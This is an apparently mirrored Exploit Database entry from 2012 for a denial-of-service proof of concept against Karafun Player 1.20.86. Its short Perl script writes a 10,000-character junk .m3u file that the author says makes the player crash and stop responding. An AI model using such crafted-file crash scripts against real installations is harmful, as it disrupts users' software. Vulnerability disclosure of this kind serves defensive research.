Karafun Player 1.20.86 – ‘.m3u’ Crash (PoC)

• Exploit Database
• 35 阅读

• 作者： Styxosaurus
  日期： 2012-06-16
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19184/

• # 
  # Exploit Title: Karafun Player V1.20.86 .m3u file Denial of Service
  # Date: 2012.6.15
  # Vulnerability Discovered & Exploit by Styxosaurus
  # Styxosaurus [at] gmail [dot] com
  #
  # Software Link: http://www.karafun.com/karaokeplayer/
  # Version: V1.20.86
  # Description:
  # Karafun will crash and not responding when trying to close it after
  # runs a special crafted .m3u file.
  
  my $JUNK= "A" x 10000;
  my $FILE="Karafun.m3u";
  open(my $FILE, ">$FILE") or die "Cannot open $file: $!";
  print $FILE $JUNK;
  close($FILE);